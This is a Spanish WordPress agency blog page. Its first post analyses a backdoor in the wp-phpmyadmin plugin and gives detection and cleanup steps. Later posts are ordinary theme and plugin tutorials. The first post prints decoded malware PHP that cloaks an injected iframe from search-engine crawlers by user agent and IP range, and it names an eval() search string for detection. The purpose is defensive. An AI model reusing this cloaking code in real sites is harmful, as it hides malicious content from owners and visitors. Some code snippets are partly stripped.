onestic » Wordpress

Puerta trasera en el plugin de wp-phpmyadmin

admin — Mon, 22 Aug 2011 10:22:23 +0000

En los últimos meses hemos sido testigos de un ataque similar sobre algunos blogs a los que tenemos acceso. WordPress hackeado, con un iframe al comienzo de las páginas y que los buscadores no detectaban como página peligrosa. Sólo algunos antivirus de los usuarios se daban cuenta del ataque. Y el culpable (o donde residía la backdoor) era el plugin de wp-phpmyadmin.

El plugin de wp-phpmyadmin tiene una utilidad importante cuando no tienes acceso de otro modo a la base de datos de tu instalación de WordPress. Pero el precio que se puede pagar por usarlo, después de haber comprobado la vulnerabilidad que trae consigo, es bastante alto.

El plugin no se actualiza desde el 2007 (con wp 1.5), no se puede encontrar en el repositorio oficial de plugins de WordPress (http://wordpress.org/extend/plugins/), y lo más importante: se había conseguido introducir un fichero dentre el resto de ficheros del plugin que abría una puerta trasera a nuestro sistema.

Pero vamos por partes y a explicar cómo funciona este hack de WordPress con detalle:

El ataque consistía en introducir en los ficheros index.php una línea justo detrás del primer



Este código codificado, daba el siguiente fragmento de php tras decodificarlo, fragmento que acababa pintando un iframe antes de la etiqueta ? en los blog al pasarlo por la función eval():



error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
 array("216.239.32.0","216.239.63.255"),
 array("64.68.80.0"  ,"64.68.87.255"  ),
 array("66.102.0.0",  "66.102.15.255"),
 array("64.233.160.0","64.233.191.255"),
 array("66.249.64.0", "66.249.95.255"),
 array("72.14.192.0", "72.14.255.255"),
 array("209.85.128.0","209.85.255.255"),
 array("198.108.100.192","198.108.100.207"),
 array("173.194.0.0","173.194.255.255"),
 array("216.33.229.144","216.33.229.151"),
 array("216.33.229.160","216.33.229.167"),
 array("209.185.108.128","209.185.108.255"),
 array("216.109.75.80","216.109.75.95"),
 array("64.68.88.0","64.68.95.255"),
 array("64.68.64.64","64.68.64.127"),
 array("64.41.221.192","64.41.221.207"),
 array("74.125.0.0","74.125.255.255"),
 array("65.52.0.0","65.55.255.255"),
 array("74.6.0.0","74.6.255.255"),
 array("67.195.0.0","67.195.255.255"),
 array("72.30.0.0","72.30.255.255"),
 array("38.0.0.0","38.255.255.255")
 );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
 if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '';
}


Este iframe se intentaba ocultar a los robots de los buscadores y de rastreadores importantes para evitar que saltasen las alarmas de estos, y pusiesen en aviso al dueño del blog mediante alarmas al correo electrónico, bloqueos de su página desde la página de resultados de búsqueda, etc. Así podía permanecer el mayor tiempo posible estando oculto.



El contenido del iframe cargaba una direccion de un servidor (todos los distintos dominios que hemos podido comprobar estaban en Rumanía), donde se podía pintar cualquier cosa, seguramente troyanos javascript que comprometiesen la seguridad del usuario que visitase la web.





Cómo saber si tengo esta puerta trasera en mi sistema, y como solucionarlo (detección, solución y prevención):



- Comprobar si tenemos el plugin de wp-phpmyadmin, y buscar el fichero phpmyadmin/upgrade.php dentro del mismo. Renombrar la extensión o eliminar este fichero, sobre todo si tiene dentro unas instrucciones parecida a estas:






- Buscar en el resto de ficheros de wp-content la cadena ‘eval(stripslashes‘ (por ejemplo), y comprobar en los resultados si alguno se parece a la línea anterior.



- Mantener una política estricta de permisos sobre los ficheros de la instalación de WordPress. Si los ficheros index.php hubiesen estado correctamente configurados en cuanto a permisos, tal y como aconsejan en http://codex.wordpress.org/Hardening_WordPress la infección se hubiese podido evitar.



- Por supuesto, mantener nuestros plugins actualizados, junto con la última versión de WordPress siempre instalada. Y si alguno de los plugins deja de tener soporte o no se continúa su desarrollo, mejor optar por descartarlo y comenzar a buscar un sustituto del mismo.



Más info:



http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html



http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/



Especial cuidado también con los plugins wptouch, addthis y w3-total-cache:


http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/

Resumen de la Wordcamp Spain 2010

Sergio Nieto — Mon, 13 Dec 2010 10:19:00 +0000

La verdad es que como primera conclusión podemos decir que para nosotros, en la Wordcamp Spain 2010 se ha conseguido aumentar el nivel general del evento respecto al año pasado. Gracias a que hemos podido disfrutar de más gente de Automattic, como José Fontainhas que es ya un clásico, Karim Osman, Isaac Keyet (cofundador de IntenseDebate y ahora en plantilla), y también de la visita de Jeffrey Pearce como representante de Woothemes.com.

Las ponencias fueron bastante interesantes para todo tipo de perfiles. Bien es cierto que para los usuarios de WordPress algunas fueron demasiado técnicas, y que para los desarrolladores avanzados otras charlas profundizaron poco o carecían de interés. Pero a pesar de que cualquier ponencia tiene cierto grado de autopromoción, ninguna fue un publireportaje.

En la primera, Fernando Tellado nos siguió descubriendo plugins y usos de WordPress curiosos. Fernando siempre está descubriendo a la comunidad hispana de WordPress utilidades y plugins que mucha gente no encontraría porque ni siquiera se plantea buscarlos. Pero él está atento, y desde ayudawordpress.com siempre tiene algo interesante que enseñar. Podéis encontrar la ponencia de Fernando Tellado aquí.

La segunda fue para José Fontainhas, que expuso lo nuevo que viene con WordPress 3.1. Rápida y concisa. Según nos comentó lo mejor para conocer las novedades de WP3.1 es visitar la página oficial.

Rafael Poveda, de Mecus, nos explicó los entresijos de la creación rápida de temas con la nueva versión de WordPress 3.x. Temas elásticos, frameworks themes y temas hijos. Sobre todo, la idea de no reinventar la rueda creando temas desde cero sin pensar en que podemos aprovechar soluciones existentes mediante el uso de temas hijos, o temas específicos hipercustomizables. ¡Sólo falta que cuelguen la presentación! Puedes encontrar su presentación aquí.

Después fue el turno para el SeñorMuñoz, Fernando Muñoz, consultor SEO de profesión. Amplió la que nos ofreció el año pasado con unas nociones de SEO básicas pero imprescindibles a la hora de implementar temas de WordPress. Y para rematar nos mostró un amplio abanico de plugins para potenciar el aspecto SEO de un WordPress. Su presentación y su resumen la podéis encontrar en su web.

Tras la comida tuvimos el gusto de escuchar a Luis Rull, de Mecus, hablando de los distintos usos que se le puede dar a WordPress más allá de la creación de blogs. Y qué sorpresa la nuestra cuando presentó el proyecto de Chicisimo.com que con tanta ilusión estamos llevando hacia delante junto con sus creadores, Gabriel Aldamiz y su mujer María Arenaza. No nos cansaremos de agradecer a Luis que pusiese a chicisimo.com como ejemplo de uso de extremo de WordPress para crear una comunidad alrededor de un nexo común para sus usuarios, como es la moda. Además nos enseño otros sites que usan WordPress, aunque no lo parezca. Su presentación, en su blog personal.

Isaac Keyet, cofundador de IntenseDebate y ahora Coordinador del equipo de trabajo de desarrollos para dispositivos móviles de Automattic, nos introdujo a los temas específicos para este tipo de dispositivos y las herramientas principales que tenemos a nuestra disposición para usar WordPress en ellos.

Luego Karim Osman, también de Automattic, nos dio algunas pinceladas de los entresijos de una gran empresa como Automattic, de su historia y de hacia donde navegan en la actualidad. Siempre interesante que alguien tan simpático como Karim venga y te cuente como funciona una empresa que se ha hecho tan grande e importante en tan poco tiempo. Para tomar nota. Su presentación la podéis encontrar en su web.

Y por fin Fernando Serer, con su tan aplaudida ponencia (sobre todo en Twitter) sobre WordPress y el comercio electrónico. Temas y plugins para vender con WordPress. Que está claro que no es la misión de la plataforma en convertirse en un framework de tiendas online, pero para desarrollos rápidos, aprovechando quizás un site con Worpdress con cantidad de visitas, para crear tiendas con multitud de landing pages, es una cuestión a tener en cuenta. Y más después de tener en las manos el profundo análisis que expuso Fernando Serer y que realizaron en Blogestudio. Muy muy interesante. Superrecomendable ver la presentación en slideshare.

Jeffrey Pearce nos mostró su gran plugin WooThumbBlog, que forma parte de muchos temas que tienen a la venta en Woothemes. Jeffrey es un programador excepcional, y un tío muy simpático. Gracias a él nos vinimos con una camiseta de Woothemes, con un posible acuerdo para colaborar con ellos creando nuevos temas, y con un descuento del 30% en su plataforma Su presentación, en su web.

Y por último Rocío Valdivia nos enseñó como crear plugins multilenguaje desde cero y de una forma muy sencilla. Seguro que mucha gente perdió el miedo a crear su propio plugins, y alguno que incluía nueva funcionalidad en el tema ahora usará sus propios plugins a partir de ahora. Faltó tiempo para hacer una demostración en vivo, pero fue una ponencia muy interesante que podéis encontrar aquí.

Para finalizar, queremos darle nuestro agradecimiento a la gente de Packet Loss (Raúl Illana, Ismael Charif, Ricard Torres, etc etc) por hacer posible la Wordcamp en España y por el éxito de organización de este año. Y por supuesto a Cavalleto (su flickr) por ser testigo con su cámara y por permitirnos usar las fotos del evento.

WordPress, imagen no encontrada, error 404 y el bucle infinito

admin — Mon, 25 Jan 2010 15:52:45 +0000

La personalización de las páginas de error en WordPress es cómoda y sencilla. La página de error más socorrida en las plantillas de WordPress es la del error 404 o “not found”. Esta página se muestra cuando se ha intentado acceder a una url para la que no existe contenido. Los más astutos aprovechan esta página para ofrecer al usuario enlaces a contenido relacionado con el que ha intentado encontrar para evitar que el usuario abandone la web. Otros simplemente muestran un texto indicando que no se ha encontrado el contenido buscado, dentro de una página que mantiene el estilo del resto de la web. Pero pensemos que este error se dará para cualquier url errónea en el navegador, tanto si es una página como si es una imágen o un documento. Ahora pensemos que alguna de las imágenes de nuestro tema no se referencia bien desde la plantilla de WordPress o simplemente no exista en el servidor, dando un error 404. Siempre que se muestre alguna página de nuestra plantilla que tenga esta imagen, se generará un error 404 y se renderizará en el servidor la página de error 404 de WordPress. Esto hace que aumente nuestra carga de servidor innecesariamente y también el tiempo de carga de la página, ya que en lugar de mandarse un mensaje escueto desde el servidor con el error 404 para la petición de esta imagen, se está mandando una página entera con todos los estilos. Esto se puede ver más claro con firebug: Sólo por minimizar la carga del servidor ya merece la pena hacer algo a este respecto, pero ahora imaginemos otro escenario en el que esta imagen que falta está referenciada en el footer, el sidebar o el header, y siempre que pidamos una página de wordpress se hará una petición a esta imagen inexistente (incluida la de 404). Entonces nos podemos encontrar con un bucle infinito: Se accede a una página: Se pide la imagen-> 404: Se vuelve a pedir la imagen -> 404: Se vuelve a pedir la imagen… Y así hasta que se sature el servidor web si ninguna opción de seguridad lo evita antes. Para solucionar este problema tan sólo debemos añadir un par de líneas a nuestro fichero .htaccess Redordad que las directrices del .htaccess se procesan en orden, por lo que conviene ponerla antes de las demás Rewrite Rules. Con estas líneas indicaremos que si se encuentra ante una petición http a una imagen que no exista, devuelva en su lugar cualquier otro elemento que nosotros le indiquemos y que sí esté disponible. Podemos indicar más tipos de fichero si lo consideramos oportuno: [CODE]RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_URI} \.(gif|jpg|jpeg|png|bmp)$ RewriteRule .* wp-content/themes/mi_tema/404.html [L][/CODE] Entre las diferentes opciones que tenemos a nuestra disposición, podemos devolver una imagen de 1×1 píxeles, aumentando la velocidad de carga de la página, o podemos incluir una imagen por defecto con el logo de la página (con cuidado, porque esta opción puede descuadrarnos el tema). También podemos devolver una página de error más básica que la de la plantilla, y en html estático. A pesar de que nos hemos puesto en el peor caso, esto no es lo habitual. Este tipo de errores de imágenes no encontradas se observa con más frecuencia en la redacción de posts que en la implementación del tema. Pero una migración de servidor, una limpieza de los ficheros subidos a WordPress o un cambio de directorio pueden ocasionar que estos errores aparezcan de la noche a la mañana.

Mostrar los thumbnails de los posts en WordPress 2.9

Sergio Nieto — Wed, 20 Jan 2010 17:03:33 +0000

Una de las nuevas características incluidas en la nueva versión 2.9 de WordPress es la de obtener un thumbnail o preview de una imagen para cada post sin necesidad de usar plugins adicionales. De esta forma podemos ponerle una ‘carátula’ que sea una imagen a cada post que escribamos en WordPress de una forma rápida y sencilla. Lo primero que debemos tener en cuenta es que la nueva funcionalidad de Magento no extrae automáticamente las imágenes de los posts, si no que al editar la entrada hay que indicar cual es la imagen específica que va a tener como ‘Miniatura de entrada’. 1.- Habilitar esta nueva funcionalidad Para habilitar estas funciones debemos incluir en el fichero functions.php unas líneas de código. Además podemos especificar tamaños adicionales a los que vienen por defecto en WordPress y que se especifican en el administrador (thumbnail, medium y large). Pongo un código de ejemplo, que además está preparado para hacer nuestro tema compatible con versiones anteriores de WordPress:

if ( function_exists( 'add_theme_support' ) ) { // A partir de la 2.9
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 50, 50, true ); // Especificamos el tamaño por defecto de los thumbnails
add_image_size( 'thumbnail-para-la-home', 400, 9999 ); // Especificamos un tamaño específico que se llamará 'single-post-thumbnail'
}

Recordad que este código funcionará sólo con las nuevas imágenes subidas. 2.- Añadir el código para que se muestre la miniatura en la plantilla de WordPress: Para añadir el código del thumbnail del post simplemente hay que añadir estas líneas, dejando abierta la opción por si el post no tiene imagen en miniatura o no está habilitada esta función:

if (function_exists('has_post_thumbnail') && has_post_thumbnail() ) {
the_post_thumbnail();
} else {
// ejemplo de código adicional si no hay imagen en miniatura
$postimage = get_post_meta($post->ID, 'post-image', true);
if ($postimage) {
echo '';
}
}

Podemos pasarle como parámetro a la función

the_post_thumbnail() el nombre del tamaño que queremos mostrar en pantalla. Por ejemplo, para obtener las miniaturas en los tamaños estandar de WordPress podemos usar 'thumbnail', 'medium' o 'large':
the_post_thumbnail( 'medium');

También podemos usar los tamaños que hemos predefinido anteriormente en el fichero functions.php:

the_post_thumbnail( 'thumbnail-para-la-home');

Para añadir un estilo específico, podemos usar la siguiente clase en nuestra css:

.wp-post-image {
border: 2px solid #ccc;
}

3.- Controlar en detalle el código html del thumbnail del post La función que pinta la imagen en miniatura del post acepta un array como segundo parámetro cuyos valores usará luego para construir la etiqueta img. Aunque hay algunos atributos, como el título de la imagen, que se crearán automáticamente a partir de los valores de los campos que se completaron cuando se incluyó la imagen como miniatura en el post. La versatilidad de esta función la podemos ver mejor con otro ejemplo de uso:

the_post_thumbnail('medium', array('class' => 'alignleft', 'alt' => 'alttext', 'title' => 'titletext'));

4.- Añadir un thumbnail a los posts Por último sólo queda configurar los posts para que muestren la imagen en miniatura en nuestra plantilla. Esto se logra accediendo a la edición de un post, y seleccionando la imagen a mostrar (o subiendo una nueva) en el enlace del administrador que aparece a la derecha justo debajo de las categorías. También podemos especificar directamente que una imagen sea la imagen en miniatura, en la interfaz que nos muestra WordPress cuando estamos incluyendo la imagen en el post.






2
if ( has_post_thumbnail() ) {








3
 // the current post has a thumbnail








4
} else {








5
 // the current post lacks a thumbnail








6
}







7
?>



Como agregar correctamente CSS a WordPress
David Bolufer — Thu, 31 Dec 2009 14:20:11 +0000
En esta entrada intentaremos aportar un poco de luz a la mejor forma, a nuestro modo de ver, para incluir nuestros archivos CSS en WordPress tanto en nuestro tema como en nuestro.

La gran mayoría agregáis vuestra CSS al tema directamente, o cuando desarrolláis un plugin lo incluís utilizando un código más o menos así:

function on__style(){
    echo "";
}
add_action('wp_head', 'on__style');


Bueno, he puesto el caso peor haciendo la “guarrada” de no incluir nuestro código CSS en un archivo externo. El modo más limpio para hacerlo es a través un hook de WordPress que ejecuta dentro de la función wp_head(), este es wp_print_styles, podemos introducir el siguiente código en nuestro archivo functions.php del tema:

function on__style(){
    wp_enqueue_style('style-theme', get_bloginfo('stylesheet_url'), false, false, 'screen');
    wp_enqueue_style('960', get_bloginfo('template_url').'/_inc/css/960.css','style-theme');
    wp_enqueue_style('jquery-ui', get_bloginfo('template_url').'/_inc/css/jquery-ui.custom/ jquery-ui.custom.css','style-theme');
}
add_action('wp_print_styles', 'on__style');


Con este código no tendremos que introducir ninguna referencia al CSS en el archivo header.php de nuestro tema, simplemente tenemos que asegurarnos que antes del cierre de la etiqueta llamamos a la función wp_head().

En el caso de estar desarrollando un plugin, este sería el código equivalente:

function on__widget_style(){
    $pluginDirComplete = plugin_basename(dirname(__FILE__));
    $pluginsWPDirComplete = basename(dirname(dirname(__FILE__)));

    $urlSite = get_settings('siteurl');
    $urlCSS = $urlSite . '/wp-content/'.$pluginsWPDirComplete.'/'.$pluginDirComplete.'/css/on-widget_style.css';

    wp_enqueue_style('on__traffsend', $urlCSS);
}
add_action('wp_print_styles', 'on__widget_style');


Esto tiene un ventaja muy importante y es que podemos usar algún plugin para comprimir y unificar todos nuestros CSS en un único fichero mejorando sensiblemente la velocidad de carga y reduciendo la transferencia del servidor, pero esto, da para otro post en el futuro.


Mailpress. ¿Otro plugin más de suscripción?
Sergio Nieto — Thu, 08 Oct 2009 08:31:08 +0000
En los últimos desarrollos en WordPress que hemos hecho para nuestros clientes, hemos venido incorporando el plugin de suscripción para los usuarios Mailpress. En un principio sólo buscábamos un plugin que diese soporte a la suscripción por correo a los artículos de un blog, pero Mailpress no ofrece sólo eso.

Mailpress presenta un completo sistema de control de suscripciones by mail, listas de correo, envíos por lotes, autoresponders, tracking de acciones sobre los correos enviados, etc. Además, si configuramos una plantilla con el estilo de nuestro blog, todos los correos de confirmación de cuenta, cambio de contraseña, etc, que se mandan desde WordPress tendrán ahora este nuevo estilo establecido desde Mailpress, manteniendo la imagen corporativa en la comunicación con los usuarios.

Y es que Mailpress se compone de un plugin principal, y distintos plugins a modo de addons que extienden la funcionalidad de este. Y son estos añadidos los que hacen que Mailpress ofrezca grandes posibilidades a la comunidad de WordPress. Os presentamos un listado de lo que están disponible a fecha de 08  de Octubre de 2009, con una breve explicación de su funcionalidad:

	 Autoresponder: Son correos redactados previamente (guardados como borrador), que serán enviados dependiendo de los eventos o acciones que realicen los usuarios (respuesta a un alta en la suscripción, a una baja, etc). Funciona con wp_cron.
	 Batch send: Permite configurar el envío por lotes de correos para grandes cantidades de usuarios, evitando saturar el servidor y que nos pueda perjudicar una identificación como posible spam.
	 Bounces: Nos facilita la labor de control de los correos que no llegan a sus destinatarios.
	 Bulk import: Añade un sencillo formulario en el listado de usuarios para introducir de forma rápida nuevos emails.
	 Filter img: Nos evita el dolor de cabeza que algunos clientes de correo como gmail o hotmail nos dan con su tratamiento de imágenes y css en los correos.
	 Form: Incluye la creación de formularios para suscribirse, y poder así mandar diferentes mensajes personalizados.
	 Import: Permite importar listas de correo en formato csv y xmlsample, y desde los plugins suscribe2 y suscribe to comments.
	 Mailing list: Nos brinda la posibilidad de gestionar listas de correo.
	 Newsletter categories: Añade una categorización sobre las suscripciones, permitiendo configurar la suscripción a cada tipo de contenido por post, día, semana, mes, etc.
	 Phpmail: Cambia el envío desde smtp a la función native de php mail.
	 Roles and capabilities: Para configurar los permisos sobre Mailpress para cada rol de WordPress.
	 Sendmail: Cambia el envío de smtp a sendmail.
	 Sync wordpress user: Sincroniza usuarios de wordpress y de Mailpress, y permite apuntarse a suscripciones desde el formulario de registro de wordpress.
	 Tracking: Potentísima función que ofrece la posibilidad de realizar un seguimiento al detalle de las acciones que se realizan sobre los mails que enviamos con Mailpress.
	 Upload media: Añade la opción de incorporar elementos multimedia a los correos, opción que no viene habilitado por defecto.
	 View logs: Muestra de forma sencilla y sin salir del administrador los logs relacionados con Mailpress.

Más info en la página del plugin: www.mailpress.org

Actualización: Si queremos añadir el formulario de suscripción a nuestro WordPress, bien tenemos que añadir el widget de mailpress o bien pegar un código parecido a este en la parte que queramos de nuestra plantilla:


    Suscríbete a nuestro boletín
    
        1, 'txtbutton' => 'Suscribirse', 'txtsubmgt' => 'Gestionar suscripción' )); ?>